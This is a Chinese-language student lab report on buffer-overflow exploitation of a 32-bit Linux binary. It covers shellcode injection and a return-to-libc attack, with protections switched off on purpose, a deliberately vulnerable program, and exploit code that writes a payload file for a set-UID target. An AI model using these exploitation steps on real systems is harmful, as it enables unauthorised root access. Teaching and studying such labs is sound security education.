PC平台逆向破解_advanced
shellcode注入
-
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。
-
linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
,nop+shellcode+retaddr
。因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。一般来说,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
实践
- 配置好注入环境:设置堆栈可执行,关闭地址随机化:
- 构造要注入的payload,采用anything+retaddr+nops+shellcode方式,可以使用xxd来查看其内容,其中x01x02x03x04要填写返回的地址
- 在终端注入这段攻击BUF:
(cat input_shellcode; cat) > ./20145240pwn1
,20145240pwn1已经开始执行,此时打开一个新终端,查找20145240pwn1的UID
-
找到UID号为:2018
-
通过GDB调试,打开GDB,对20145240pwn1进行调试
- 对foo函数进行反汇编,以此找到函数的返回地址,而我们要做的就是将返回地址覆盖,指向我们设置的shellcode代码
-
接下来我们在ret处设置一个断点,断点设置完毕后,在程序执行的终端按一下回车!!,用以调试进程,此时查看esp寄存器情况
-
可以发现此时esp的值为0x04030201,是我们构造的shellcode中的一部分
-
图中0x01020304的位置0xffffd32c是返回地址的位置,由于结构为anything+retaddr+nops+shellcode,由此推断我们的shellcode的地址为0xffffd330
- 将返回地址修改为0xffffd330重新注入,成功。
Return-to-libc 攻击实验
- 缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码。也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。于是为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。
实践
- 环境配置,设置32位linux环境
sudo apt-get update//更新软件源
sudo apt-get install lib32z1 libc6-dev-i386//安装软件
sudo apt-get install lib32readline-gplv2-dev//然后进入32位环境,进入bash
- 将地址随机化关闭
- 设置zsh程序。/bin/bash能够通过使shell程序放弃自己的root权限来防范缓冲区溢出攻击及其他利用shell程序的攻击,在本实践中,我们用zsh程序替代/bin/bash程序,解除此防护措施。
- 进入tmp目录,使用vim编写retlib.c程序
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly
");
fclose(badfile);
return 1;
}
- 编译程序并设置SET-UID,设置su以root身份执行,运用-fno-stack-protector关闭栈保护机制。
- 编写并编译20145240getenvaddr.c。这个程序是用来读取环境变量的,代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>
", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p
", argv[1], ptr);
return 0;
}
- 最后vim编写攻击程序,写好后先放到tmp目录下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[24] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[36] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
- 获取 BIN_SH 地址(0xffffdee4)
- 编译攻击程序20145240exploit.c
- 使用gdb获取system 和 exit 的地址,我的地址分别为0xf7e2eb30和0x7e227e0
- vim攻击程序20145240exploit.c中的三个地址的值
- 将之前编译生成的文件和运行生成的badfile文件删掉,重新编译执行。
- 成功。